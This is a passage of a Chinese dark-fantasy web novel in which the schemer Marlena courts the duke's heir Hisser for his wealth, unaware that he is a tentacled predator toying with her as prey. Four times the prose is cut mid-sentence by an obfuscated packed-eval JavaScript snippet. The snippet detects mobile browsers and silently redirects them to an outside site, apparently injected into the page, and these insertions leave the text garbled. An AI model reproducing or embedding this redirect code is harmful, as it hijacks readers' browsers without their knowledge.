对于他来说,保护的意思十分简单——保护猎物不被觊觎,保护食物不被抢走。 猎物,食物。 她既是他的猎物,也是他的食物。 他手腕处悄无声息地裂开了一道缝隙。 触足迅速而急切地探出一个头。它轻轻一振,令鳞片由猩红变为雪白,随后扒住玛莲娜的掌心,竭力探索着她的气息。 当雪白的鳞片紧贴她的肌肤时,一种奇异的悸动迅速传遍触腕,瞬间减轻了多日以来的饥饿感,带给他一丝满足。 但是,单纯的触碰远远不够。 他之前一直在抗拒她的影响,这实在是与狩猎的本能相悖。 即便她再不好吃,再弱小不堪,也是属于他的猎物,理应接受他的掌控。 捕食者就应当追随猎物,玩/弄猎物,品味猎物。 他确实受她吸引,但这仅仅只是出于捕食者对猎物的渴望。 特别是......当猎物不受掌控的时候。 无法直接杀死她,令他极为扫兴。所以,他需要满足感作为补偿。 只有彻底掌控她这种看似不可掌控的猎物,才能给他带来更多的满足。 他在词典中读到过,“恐惧”是一种情感反应,通常与猎物的体验有关。 面对无法战胜的威胁,弱小的个体会意识到反抗无效,从而选择屈从。 他会折磨她,看着她逐步陷入恐惧之中。 当她濒临崩溃,意识到他的强大与不可战胜,一定会心甘情愿接受他的掌控,向他献出自己的血肉。 最后,他将在她的恳求下,勉为其难地吃掉她。 触足通体雪白,不断翻动,迫不及待地用每一块鳞片描摹她的指纹。 不同于其他部位的柔软,她的指尖带有一层薄茧,让他感到格外兴奋。 腕足的尾端以极轻的力道戳了戳她的指尖。 见玛莲娜没有反应,他又用腕足表面的新生鳞片蹭了一下她的指腹。 玛莲娜感到手指有些发痒,下意识地低头看向两人交缠在一起的手。 刹那间,触足钻回裂缝,消失不见。 “玛莲娜。” 他唤了一声她的名字。 “怎,怎么了?” 她恰到好处地扮演出“强作欢笑”的样子,似乎在努力抑制内心的委屈与无助。 希瑟尔缓慢地抬起另一只手,伸向她的脸颊。 他用指尖轻点她的唇角。 这种触碰给玛莲娜带来的感觉,犹如碎冰落入水中,又快速上浮。 她朝他眨了一下眼睛。 意料之外的主动触碰!进展不错。 “笑容。” 希瑟尔的声音带有一丝独特的韵律,很是动听。 “笑容。” 她故作欣喜,望着他的眸子,将这个词重复了一遍,朝他展露真诚的微笑。 笑容。 希瑟尔读过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872920|134975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一词汇在词典中的释义——“笑容”是愉悦等情绪的外在表征。 人类会通过伪装内心的情绪,达成各种目的。比如,公爵明明恐惧他,却经常在他面前表现出崇拜的样子。 玛莲娜总是对他笑,但她的内心并非始终愉悦。 他知道她热衷于伪装,而她不知道他原本的面目——这种一切尽在掌控的感觉,让希瑟尔无比兴奋。 他观察玛莲娜的表情,记住了每一块肌肉的位置。随后,他严格地模仿她动作的变化,牵动唇角,向她展露出有史以来的第一次微笑——如同雪山湖泊的水面泛起涟漪,轻柔地向四周荡漾。 她丝毫没有吝啬夸赞:“你真漂亮。” 希瑟尔似乎格外受用,又一次攥紧了她的手指。 玛莲娜牵着他的手,尝试将他带向会客厅。 只要她和希瑟尔共同出场,营造出二人关系特殊的假象,哪怕他沉默不语,亲王和他的儿子也必将重新权衡利弊——是否要因为一个微不足道的私生女,和公爵的继承人撕破脸。 希瑟尔的态度十分顺从,甚至带有几分纵容,任由她拉着前往府邸的后门。 玛莲娜走在前面,依旧保持着喜悦的表情,未曾松懈,就像情窦初开的少女。 从情感上来说,她并不喜欢讨好别人。但从理智上来说,这不过是一时的憋屈而已,有什么不能忍耐的?只要能牟取利益,无论使用什么手段,都不重要。等事成之后,让他“病逝”就好。 那个迪耶戈是亲王的小儿子,不仅不能继承家业,还长得丑。相比之下,希瑟尔是她最好的选择。 先前,公爵之子对她频频投以关注的目光。经过今日的试探,她几乎可以确定,他对自己确实抱有一些兴趣。 很好,一切尚在她的掌控之中。 她心中涌动着微妙的兴奋,转头向希瑟尔望去。 此时此刻,他正专注地凝视着二人紧密交缠的指节。 “希瑟尔,谢谢你帮我。”玛莲娜捏了两下他的手指。 “玛莲娜。” “怎么了?” “玛莲娜。”他重复了一遍。 她心领神会:“希瑟尔。” “玛莲娜。” “希瑟尔。” 两人一来一回,就像是在玩幼稚的抛球游戏。 他不断地重复她的名字,不厌其烦地吐出、吞咽、咀嚼每一个音节。 玛莲娜不得不承认,他的声音拥有某种奇特的韵律,仿佛琴弦的尾音柔和地滑入她的胸腔,带来了微妙的共振。 当她看向前路的时候,某根触足就会从他的掌心钻出,缠裹住她的五指。 “噢!” 他的“手指”越收越紧,让她感到一丝不适。 “放松一点。”玛莲娜转过头提醒道。 触足快速撤回,无影无踪。 见希瑟尔的确按照她的指示,撤去了一半力道,玛莲娜十分满意。 的确,一切都在她的掌控之中。 13. 第十三章 玛莲娜与公爵之子手牵着手,共同来到会客厅前。 管家正巧靠在门边打盹。他发现希瑟尔的到来,双眼顿时迸发出激动的光芒。 “请进,请进!” 管家走到门前,还未想办法打开反锁的门,却听“咔哒”一声,门锁自动弹开了。 厚重的木门徐徐开启,会客厅内的谈话戛然而止。 亲王不由地抱怨道:“怎么回事?弗雷德里克,你家的门难道长了腿吗?” “什么鬼东西——”公爵眉头紧锁,正要呵斥管家,待门外的那缕银金色长发映入眼帘,硬生生吞掉了接下来要说的话。 他脸色有些泛白,从软椅上站了起来,警惕地看向门外。 “公爵大人,亲王殿下,迪耶戈殿下。” 玛莲娜松开希瑟尔,恭敬地向三名高位者问好行礼。 “原来是玛莲娜啊,你好你好。”公爵挤出了关切的笑容。 他立即看向自己的“儿子”:“希瑟尔也来了,怎么没人通知我一声?来,我把位置让给......让给你!” 希瑟尔侧过头凝视着玛莲娜,仿佛没有听到父亲的示好之言。 他的目光一路下移,停驻于她的指尖。 那一处,刚刚被他捂冷,仍然残留着他的温度。 她没有经过他的同意,就把手收了回去...... 玛莲娜观察着公爵的神情,意识到这对父子之间存在某些不可告人的秘密。 公爵忙于向希瑟尔示好,姿态甚至有些卑微,根本不像是一个家父。 而希瑟尔对他的父亲始终不理不睬。 两人的关系为何会如此奇怪?难道是因为早逝的公爵夫人么? 玛莲娜不动声色,用余光瞥了一眼希瑟尔,发现他一直盯着自己的左手。 怎么回事?她的手怎么了? 她略微抬起手腕,检查了一遍手指,并未发现不对的地方。 “原来,你就是希瑟尔?幸会,幸会!” 亲王的小儿子快步走到公爵之子面前,左右打量了一阵。 亲王笑着夸赞道:“弗雷德里克,你儿子真是出众!” 公爵面色怪异,欲言又止,默默向后退了一步。 希瑟尔仿佛没有听见迪耶戈的搭讪,依旧望着玛莲娜。 迪耶戈顺着公爵之子的目光看去,露出了促狭的笑容:“她是你的人?你可真是——咳,咳,咳,咳咳!” 话还没说完,他就开始剧烈地咳嗽。 “呕——” 迪耶戈双目圆睁,俯下身干呕了一声,却什么也没有吐出来。 亲王立即把儿子扶到了软榻之上:“迪耶戈!赶紧坐下歇一歇。医生?快去叫医生!” “好,我去叫医生,马上就回来。”公爵紧张地瞥了一眼希瑟尔,快步离开了会客室。 迪耶戈停止了呕吐,突兀地从软榻上蹦了起来,全身绷紧,双目泛白。 他缓缓伸直双臂,平举于两侧,整个人呈现出“十”的姿态。 “咯——咔——嚓——” 随着一道又一道断裂的声响,迪耶戈的手臂关节以不可思议的角度折向反面。他整个人就像是枝桠扭曲的枯树。 “迪耶戈,你醒醒!太阳啊,永恒的太阳,光明与您同在。请您降下光辉,照耀世间,洗净尘霾,护佑我等!邪影退散!邪影退散!” 亲王额头满是汗珠,拼命念诵着祷言,试图唤回儿子的神智。 他念诵了七次,皆没有效果。第八次的时候,总算召唤出了太阳的化身。 无数金色的细线穿过他的手指,飞向迪耶戈的头顶,结成巨大的球体,旋转着洒下光辉。 迪耶戈猛然后倒,却没有摔在地上。 他反手撑在地砖之上,前胸对着天花板,宛如一只躯体翻转的水黾。 接着,迪耶戈手脚并用,以极为诡异的姿势快速爬向玛莲娜与希瑟尔。 电光火石之间,玛莲娜思绪飞转,在“以小鸟依人的姿态躲入希瑟尔的怀抱”与“推开希瑟尔”之间,果断选择了后者。 “小心!” 她高呼一声,扑向公爵之子,将他往后一推。 这种看似舍己为人的举动背后,实则充满了利益的考量。 从小到大,玛莲娜没有放弃过练习骑术与弓箭,马步向来扎得很稳。 她推他的时候,只要控制好自己的下盘,就不会摔倒。 这样一来,倒下的就只有希瑟尔一人。 怪形迪耶戈扑过来攻击他们,坐在地板上的希瑟尔无法立刻逃跑,必将沦为袭击目标。趁怪物扑袭希瑟尔,她可以直接逃跑。 实在不行,她身上还有一枚太阳神殿的护符,也能抵挡一次攻击。 虽然公爵的家产非常诱人,但是跟她的命比起来,不值一提。 希瑟尔如她所愿向后倒去,却在倒地之前抓住了她的肩膀,将她拉往自己的怀中。 这可恶的家伙,力气倒是挺大的。玛莲娜暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12885260|134975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骂了一声。 “噢!” 为了减小撞地的冲击,她立刻调整力道,“十分不幸”地扑倒了希瑟尔,“不小心”压住了他,整个人趴在他的胸前。 刹那间,一根腕足钻入裙摆,环住她的脚踝,又快速地松开了。 “......污秽退散!污秽退散!” 亲王浑身颤抖,终于引得太阳降下光辉。 “啊——” 金光笼罩之下,迪耶戈浑身燃起火焰,发出了一道凄厉的嘶鸣。 他四处翻滚,不停嚎叫,片刻过后,总算恢复了正常。 “迪耶戈,你怎么样了?”亲王急切地呼唤着儿子。 迪耶戈满脸焦黑,就像一只掉入烟囱的猫头鹰。 “爸爸,我在干什么?我在哪里?”他终于清醒了过来。 “你们赶紧去看看迪耶戈殿下,他得了很严重的病!” 门口传来公爵急切的声音。 仆从与医者一拥而上,围住了亲王与他的小儿子。 玛莲娜与希瑟尔仿佛被众人遗忘——竟然无人前来探问。 “谢谢你救了我。如果不是你刚才拉了我一把,他就要咬到我的背了!” 她泫然欲泣,开启了表演。 其实,她就是瞎感谢一通罢了。 怪形迪耶戈会不会咬到她,谁知道呢?反正,说一些漂亮话哄他,不需要付出任何成本。 不过,这样趴在他身上,牢牢压住他,感觉真不错。 无论如何,他都有一张漂亮到极致的脸庞,能激起她心中某种奇异的感觉——特别是当他像现在这样,毫不反抗地躺在地上的时候。 这到底是什么样的感觉呢?仿佛她拿勺子猛地捅向蜂蜜罐子,再一抬手,牵连出一条又一条黏稠甜腻的丝线...... 一般情况下,她都会用唇与舌接住下落的蜂蜜,粗鲁地扯断这些恼人的细线,再把勺子洗干净。 希瑟尔定定地望着她。 他的眼神倒是没有什么变化,宛如从未融化的冰湖,只有唇角微微提起,向她展露出笑容。 时间仿佛凝固于这一刻,停滞不前。 玛莲娜将双臂搭在他胸前,撑起半个身子,回以无声的注视。 “玛莲娜,你感觉怎么样?有没有受伤?” 门口传来多萝西娅焦急的呼唤。 玛莲娜一个激灵,从希瑟尔身上弹了起来,挺直腰板,向母亲汇报现状。 “我没事!” 14. 第十四章 多萝西娅露出了会心的笑容:“没事就好。这位,应该就是希瑟尔大人吧?您好,我是子爵夫人多萝西娅·索利亚。” 希瑟尔仍旧坐在地上,恍若未闻,只是安静地盯着玛莲娜的裙摆。 玛莲娜弯下身子,伸出手,试图将他拉起来。 希瑟尔既没有用手撑地,也没有通过单脚踩地更换支点,而是在膝关节略微弯曲的情况下,顺利从地上起身。 玛莲娜感到有些惊讶——她刚才只是做做样子,并未使出多少力气,怎么就能如此轻易地将他拉起来呢? 她不动声色,用余光扫过他的腰部与腿部。 难道,他这两个部位锻炼充分,力量十足? 多洛莉亚的视线在两人交握的手指上停留了一秒:“我去协助公爵大人,先走一步。” 玛莲娜突然想到了什么,对母亲说:“迪耶戈殿下得了怪病,希望公爵大人也能够‘平安无事’。” 多萝西娅眸中闪过一丝了然:“他一定会平安无事的。” 说完,她快步走向会客室的另外一侧。 公爵指挥仆从架起迪耶戈,将他带出了会客厅。亲王紧跟其后,密切关注着儿子的状态。多洛莉亚跟在人群后面,表现出一副焦急的样子。 转眼间,会客厅仅剩下玛莲娜与希瑟尔二人。 “她是你的母亲?” 玛莲娜松开希瑟尔的手,缓慢走到公爵夫人哈莫妮亚的画像前。 在深蓝背景色的衬托下,哈莫妮亚面部发亮,却显得有些模糊,仿佛笼罩着一层轻纱。 她应当是微笑着的,但是眉眼之间无端显露出一丝愁绪。 玛莲娜注视着画中公爵夫人的脸颊,思绪飘回数日之前——当时,也是在会客厅内,女仆朵莉忽然发病,陷入了抽搐和语无伦次的状态。 比起迪耶戈,朵莉的症状要轻得多,没有留下伤口,更没有折断自己四肢的骨头。 这两个人的发病缘由尚不明确,至于具体得了什么病,她也无从得知。 当时,亲王召唤出太阳的化身,竭尽全力拯救儿子,废了很大的劲才成功......等等,这真的是祷术的功效么?还是说,迪耶戈像朵莉那样,自然而然停止了发病? 这一点,根本无法确认。 或许还有一种可能,他们并非患有什么“病症”,而是受到了某种神秘力量的影响? 无论如何,两人发病的共同点有两个——第一,她当时都在场,第二,发病地点相同。 她什么都没做,所以,极有可能是会客室本身存在问题。玛莲娜掏出太阳神殿的护符,发现它依旧泛着金光,并未失效。也就是说,今日发生的一切,并没有伤害到她。 真奇怪。 玛莲娜盯着面前的油画,陷入了思考。 不知道是不是她的错觉,公爵夫人的笑容似乎变得越发清晰了。 此时此刻,她若是转过身,就能看见一团猩红色的物质正在不断膨胀,不可遏制地朝她逼近。 墙壁之上,镀金的藤蔓浮雕失去了光泽,取而代之的是十余条粗壮的蛇形阴影。 它们肆无忌惮地纠缠、扭动、扩张,将阳光的投影撕碎成零散的斑块,沿着藤蔓的线条不断延伸,宛如一朵张牙舞爪的怪花。 坚硬的鳞片刮过地面,却没有发出声音。 其中一片“花瓣”的尖端微微蜷曲,犹如手指勾起。 它先是从她手腕内侧穿行而过,又反过来绕了一个圈,意图挽住她的整只手掌。 玛莲娜看不到背后发生的一切,仍然在认真思考着最近的怪事。 那两人突然发病,难道是因为这幅画像吗? 她记得,自己的房间也有一幅画像。 没有五官的希瑟尔,无数面镜子...... 毫无缘由,她竟然感到越来越冷。她就好像置身于地下墓穴的深处,难以逃脱。 左手手掌传来了突兀的冰凉之感,玛莲娜整个人不可控制地颤抖了一下,险些跳起。 她低头一看,某只修长漂亮的手握住了自己的手。 玛莲娜心中一松,回过头看向公爵之子。 原来是希瑟尔啊,真是吓了她一跳。 这家伙,长得人模人样,却根本不懂人情世故。 等等......正常人的手,会如此冰冷么? 今日迪耶戈发病,希瑟尔也在场。 细细想来,他的身体一直很冷,确实不太对劲。 玛莲娜顿时觉得有些口干舌燥。她勉强吞咽了一次,随后对他摆出亲切的笑容。 “希瑟尔,你的手为什么总是这样冰凉?你看,我的手就很热。” 公爵之子默默观察她的神态,也缓慢提起唇角,展露出一抹相似的微笑。 他的语气异常平静:“我有病。” 玛莲娜不自觉睁大眼睛,咳嗽了一声,继续问他:“你与迪耶戈都那么年轻,怎么都有病呢?” 他的回答有些冷漠:“不知道。” “希瑟尔,你的卧室里有没有油画?” 她想确认一下,“病症”是否与画作存在什么联系。 指腹的薄茧处传来了挤压感,宛如一波又一波海潮来袭——希瑟尔没有给出回应,而是专注于轻捏她的指尖。 玛莲娜心中有些无奈。这家伙怎么对她的手指产生了兴趣?动不动就要碰一下。 她一使劲,抽回了自己的手指:“请你回答我的问题,否则......我就不给你碰我的手。” 希瑟尔低头盯着她的手指,身体纹丝不动。 一根腕足从他掌心探出尖端,刚要循着气息伸向她的手腕,却被另一根腕足死死拽住了。 两根腕足一齐钻回了掌心的缝隙。 他只需回答一个词,就能再次缠住她的手,同时不让她发现端倪。 他终于开口:“有。” “好吧。” 玛莲娜遵照诺言,交出了自己的左手。 希瑟尔握住她的左手,一下又一下推揉,节奏并不固定,但力道适中。 不得不说,由他这样按着,还挺舒服的。至少,能帮她缓解握笔写字带来的酸痛。 “我的房间里也有一幅油画。说起来,它还是你的肖像画呢。” 玛莲娜告诉公爵之子。 希瑟尔没有什么反应,依旧专注于研究她的手指,似乎对自己的画像毫不在意。 “不如让人把它转移到你的房间。”她提议。 她怀疑,油画是迪耶戈与朵莉发病的原因。 以这种理由移走她房间内的油画,既能帮她摆脱未知的风险,又可以增加公爵之子病逝的概率。 真是太完美了! “可以。” 希瑟尔并不在意什么肖像画。 玛莲娜心中乐开了花,将右手覆在了对方的手指上。 “希瑟尔,你对我真好。谢谢你!”她表达了诚挚的感谢。 三只手交叠在一起。 推揉的动作猛然顿住。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903592|134975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 希瑟尔抽出自己的手掌,将它搭在她右手的手背之上。 玛莲娜左手一动,盖住了他的手。 他再一次抽出手掌,覆上她的左手。 玛莲娜冲他挑眉,顺势翻转左手,捉住了他的手。 希瑟尔望着她的眸子,等待她做出下一步动作。 “你的手真冷,我替你暖暖。” 她捧起他的手,低下头,朝他的掌心轻轻吹了一口热气:“呼——” 希瑟尔的手指猛地弯曲,紧握成拳。 掌心之处,一根触足刚刚露头,就被他按住尖端,硬生生塞了回去。 ------------------------------------- 亚兰公爵摘下宝石戒指,跪在家族礼拜堂的软垫之上。 他面朝太阳的神像,念诵着祈祷之语,待心绪平静,才起身离开礼拜堂。 他不忠于婚姻,确实有愧于妻子。也许是出于因爱生恨,哈莫妮亚在临死之前给他丢下了一个巨大的麻烦。 祂...... 一想到祂,他的头部立刻开始胀痛,仿佛有一万只蜜蜂在颅骨内横冲直撞。 视线一片模糊,忽远忽近的嗡嗡声在他耳边回荡,入侵意识的每一个角落。 周围的温度急剧下降,他眼前一片漆黑,看不清任何东西,就像是身处绿植迷宫内暗无天日的地窖。 浓重的血腥味钻入鼻腔,惹得他低头干呕。 谵妄的症状愈发严重,公爵的躯体开始不由自主地颤抖。他竭尽全力才拿起那枚宝石戒指,经过多次尝试,终于将它重新套在了手指上。 视野回归,脑海中的怪异声音尽数消失了。 公爵感到四肢发软。 先前,祂每三年苏醒一次,每次都需要进食。 祂嘴刁得很,不吃普通人,也不吃低等的教士。 一旦祂对投喂的食物不满意,就会亲自出去觅食,还专挑光明教会的神殿! 幸好,他成功以异端作乱为理由,解释并掩盖了祂的闯出的祸事。 直到今日,教会都不知道祂的存在。 亚兰公爵擦去了额头的汗珠,从地上爬了起来。 他可不想被教会认定为异端,遭受火焰的惩罚。 为了防止祂毁掉公爵领地的一切,他只能想办法搜罗那些稍有地位的光明教徒,投喂给祂。 最近,祂始终都苏醒着,迟迟没有继续沉睡,真是太可怕了。 不知为何,祂似乎对多萝西娅的女儿产生了兴趣。 这样最好。 亚兰公爵按住胸口,呼出一口气。 祂去找别人的麻烦就行了,离他越远越好。 公爵心不在焉,在礼拜堂内坐了许久,才回到书房,召来子爵夫人为他拾掇笔墨。 处理事务时,公爵命令多萝西娅退下。 区区一个情人而已。这些封地事务与皇城事务极为重要,当然不能由着她接触。 过了许久,管家敲门进来,将香喷喷的牛乳饼干摆到桌案上,又为公爵仔细查验了食物。 待管家确定食物无毒,公爵才用手拿起饼干,放入口中。 这是他一直以来的习惯——累的时候,吃一盘零嘴,有助于放松心情。 公爵决定将大大小小的事务抛到脑后,好好享受一番闲暇时光。 他拿出了信纸,一边啃饼干,一边写下肉麻之语。 这封邀请函,送给哪位美人比较好呢? 15. 第十五章 光辉圣城索纳提乌姆又被誉为“万城之城”。 它坐落于大陆中心地带,是光明教会的大本营。 教皇的主神殿位于圣城中央,通身雪白,壮丽的圆顶高达数十层楼。 整座建筑,无论是外墙还是内饰,都由雕琢精美的日晶石装饰而成。 即便是在黑夜,主神殿依然熠熠生辉。 后殿,无数黄金色线条编织成一轮巨型的太阳,散发出耀眼的光芒。它内部线条繁复交错,层次极多,构成的图案异常复杂,宛如神秘难解的符文。 一道突兀的血红灌入左下方的黄金线条,朝太阳中心的方向缓慢前行,不祥而诡异。 一名光明修女率先发现了异样。 她跪在地上,努力克制住身躯的颤抖,张开臂膀发动祷术,试图让黄金线条恢复原样。 可是,不知为何,她念出的祷言毫无章法,充满了错位与重复。 越来越多的圣职者意识到情况不妙,纷纷加入了她,企图阻止红线的侵袭。 在值的两位枢机主教得知异常之后,立即奔至后殿。 他们跪在人群最前列,用尽毕生所学,高呼太阳之名,施行祷术。 鲜血从教徒们的眼眶、口鼻处溢出,滴落在彩色的地砖之上,犹如聚集的虫卵。 与此同时,教宗大殿门口,聚集着四位枢机主教。 枢机主教服饰统一,都身穿一尘不染的雪白长袍。长袍背后,是对称的太阳纹样。从背后看,与飞蛾的三角形翅膀相仿。 “我们必须向教皇冕下报告异常。”一位枢机主教提议道。 另一位枢机主教并不赞同:“不用我们提醒,教皇冕下必定已经察觉到了不对。何必再去打扰冕下呢?” “倘若不报告,那便是我等失职。” “那么,就由您自己去向冕下汇报吧。” 枢机主教们相互推卸责任,谁也不想去打扰教皇。 “阿斯特隆。” 一道恢宏而低缓的声音在四位枢机主教的脑海中响起。它庄严而神圣,穿透一切屏障到达听者的胸腔深处,带来难以言喻的强烈威压。 枢机主教连忙匍匐下去,额头贴地,一句话也不敢多言。 待威压完全消散,他们纷纷松了口气,终于从地上起身。 “阿斯特隆,是亚兰公爵的领地。” “亚兰公爵不是和我们一向关系很好么?他妻子之前还当过光明修女呢。” “那又如何?既然教皇冕下已经给予明示,我们派人去阿斯特隆调查即可。” ------------------------------------- 清晨,亚兰公爵像往常那样,坐在书桌前享用早餐。 他突然感到一阵头晕目眩,将吃下去的东西全部吐了出来。 “公爵大人,您怎么了?” 管家连忙跑到公爵面前,为他仔细清理衣领上的污秽。 “呕——” “帮我接着,别弄脏了文件......呕——” 过了很长时间,实在没食物可吐,公爵居然吐出了血块。 “公爵大人!您醒醒!” 管家与仆从忙上忙下,将公爵抬到床上之后,还请来了医生。 医生面色凝重,表示判断不出公爵的病情。 多萝西娅站在床边,眼中满是焦急。 “昨日,迪耶戈殿下也是这样突发恶疾,真是太可怕了。” 玛莲娜露出难过的神情:“迪耶戈殿下转危为安,相信公爵大人一定也能渡过难关。” 说完,她翻出手帕,擦拭两下眼角,抹去了并不存在的泪水。 迪耶戈发病真是太及时了。 她和母亲正巧可以利用这一借口,解释公爵突然倒下的原因。 现在,公爵失去了意识。领地内的一切事务,理应交给希瑟尔处理。 下午,公爵的部下与门客们聚集在书房外,等待觐见那位从未露过面的继承人。 仆从们在府邸中找了许久,都没有找到希瑟尔。最后,还是玛莲娜前往绿植迷宫,才把人带了过来。 下属们纷纷向公爵之子走来,手中捧着各类文件。 “希瑟尔大人,这是府邸最近一个月的财务记录。明日,我们将为您汇报封地南部的收支情况。” “希瑟尔大人,这是阿斯特隆基础设施建设的进度汇总。” “希瑟尔大人,这是公共卫生改善规划书,请您过目。” “希瑟尔大人——” 话语声戛然而止,整个走廊突然被静谧淹没。 下属们仿佛受到了惊吓,张大着嘴,立在原地,就像是青蛙遭到强光照射,无法动弹。 他们是被公爵之子的外表震撼到了?虽然很离谱,但也不是不可能。 玛莲娜侧过头望向希瑟尔,问道:“他们以前没见过你?” “没有。”他的语气毫无波澜。 她公然挽住了他的手臂,微微一笑:“你若是不熟悉公爵领地的事务,根本不必担心。我可以帮你。” 希瑟尔收紧臂膀,压住了她的前臂。 玛莲娜觉得有些不适,低声告诉他:“夹得这么紧,我手都麻了。” 他无声凝视着她,却没有减小力气。 她懒得计较,不再理会他,而是告诉公爵的下属:“你们可以先放下文件,明日再来汇报。今天,希瑟尔大人恐怕没有心情处理事务。” 下属们终于动了。 他们一言不发,乖顺地排成笔直的队伍,一个接着一个,步伐一致地走进书房,再将纸张放到书桌上,转过身离开。 一切都是那样井然有序,仿佛经过了无数次训练。 玛莲娜观察着他们的动作,眉头微微蹙起。 总觉得哪里怪怪的。 “玛莲娜,我应该怎么做?” 希瑟尔的声音打断了她的思绪。 “噢,跟我来。” 玛莲娜挽着希瑟尔走到书桌旁边。 “你坐下,我教你阅读重要的文件。”她对他说。 他缓缓松开了她的手臂,却并未移步。 玛莲娜推了推他的背部,示意他赶紧坐下。 希瑟尔依旧没有听从她的指示。 她压下心中的不耐,放轻了语气哄他:“希瑟尔,坐到椅子上好不好?你不坐下,我怎么教你阅读文件呢?” 说完,她踮起脚尖,用另一只手抚摸他的发顶,作为鼓励。 希瑟尔似乎很受用,自行俯下身子,任由她摸。 指腹传来冰凉的触感,比丝绸更加柔顺细腻。她忍不住多揉了几下他的头发。 她再一次问他:“坐下,好么?” 希瑟尔松开她的臂膀,坐到了书桌前。 玛莲娜搬来另一把椅子,坐在他身侧。 “我们先看第一份文件。” 她翻开公爵府的收支记录本。 “这是修缮府邸建筑花费的金币数目,这是举办宴会的开销。嗯......等一下,这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929276|134975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大一笔钱都捐给了光明教会?” 她一边浏览各项条目,一边计算公爵的财产,最终得出了一串惊人的数字。 真是难以想象,如果这么多财富都归她所有,她会生活得多么幸福啊! 不过,她发现有几个数目对不上,需要派人调查一下。 玛莲娜拿起墨水笔,在纸上勾勾画画。 她忙于检查金钱数额,没有继续向公爵之子介绍各类款项。 希瑟尔一言不发,注视着她提笔写字的那只手。 过了许久,玛莲娜不想再计算数字,便从右侧的一摞文件里抽出去年的《政策总览》,津津有味地读了起来。 她沉浸于研究政令,根本没有注意,某根触腕以极快的速度扫过桌面。 “哗啦——” 右侧的文件全部掉到了地上。 玛莲娜非常确定,自己的胳膊肘根本没有碰过这些纸张。 她看了一眼紧闭的窗户——文件肯定不是被风吹下桌子的。 那么,剩下的可能,便只有希瑟尔。 难道,她阅读得过于投入,没有顾及他的感受,惹他不快了? 他一不高兴,就扔东西?公爵之子,真是幼稚又古怪。 好麻烦啊,还要分神哄他。 玛莲娜弯腰捡起文件,分了一摞,放到他的面前。 “你先读一读?” “不。”他拒绝了她。 她柔声提出建议:“要不然,你先去花园逛一会儿?我之后再过去陪你?” 他再一次拒绝道:“不。” 这两日,希瑟尔很喜欢跟着她。 两人的关系进展得如此迅速,固然可喜可贺,但他总是为所欲为,多次打乱她的生活节奏。 她要想办法纠正他搞破坏的行为。 “希瑟尔。” 玛莲娜张开双臂,朝他示意。 希瑟尔似乎没有领悟她的用意,坐在椅子上纹丝不动。 她进一步解释:“过来。” 他沉默不语,朝她的方向倾斜上半身。 玛莲娜顺势用双臂环住他的脖颈,与他额头相贴。 不到三秒,她松开了他,迅速将手臂收回。 希瑟尔猛地抓住了她的手腕。 “不可以这样,”玛莲娜警告他,“否则,我就再也不理你了。” 希瑟尔面无表情地盯着她,依旧没有松手。 她承诺道:“你想跟我呆一起,也可以。若是表现好,过十分钟,我就再跟你贴一次额头。” “好。”他同意了。 十分钟过后,希瑟尔没有打招呼,直接用手拿起桌子右侧的文件,将他们扔到了地砖之上。 “希瑟尔?”她提高了音量。 “你答应过我。” “行,过来吧。” 她扒住他的头发,再以与他额头相抵。 希瑟尔闭上了灰紫色的眼睛。 他的长睫轻轻颤动,末端掠过她的脸颊。 “好了。” 她感到一阵痒意,立即推开了他,随后弯下腰,重新捡起了文件。 他睁开双眼,第一次用抱怨的语气跟她说话:“不够。” 说完,他将右手盖在文件的最上方,作为无声的威胁。 一根触腕从背后接近她的衣领,尾端探向她颈部与衣料的缝隙。 玛莲娜并未察觉到触腕的存在。 此时此刻,她正专注于揣测希瑟尔的心理——难道,他想跟她讨价还价? 16. 第十六章 对于玛莲娜来说,希瑟尔只是一把打开财富之门的钥匙。 钥匙发挥工具的作用,就已经足够,怎么可以脱离使用者的控制? 他这种讨价还价的行为对她百害而无一利。所以,她得立刻纠正他。 玛莲娜装出不以为然的样子:“那你扔吧,随便你。” 